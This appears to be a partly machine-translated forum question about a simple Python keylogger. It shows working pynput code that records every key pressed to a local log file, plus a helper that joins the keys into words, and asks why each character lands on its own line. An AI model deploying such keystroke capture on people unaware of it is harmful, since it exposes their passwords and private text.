简单的键盘记录器 "Problem in logging to a file"

Simple keylogger "Problem in logging to a file"

问题:

日志文件为每个字符 在新行中一个接一个地保存一个字符

Objective是将所有字符记录在同一行

日志中的格式是否有问题?

代码

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

结果: 记录

-->在File.txt

l

o

n

预期结果

日志记录

-->在File.txt

日志记录

Like this output is needed

这需要什么样的格式?

这个函数是抓取一个word/sentence

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

使用此功能

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

结果 记录

-->File.txt

l

lo

log

logg

loggi

loggin

logging

这种方式更好还是其他方式更好?

不胜感激!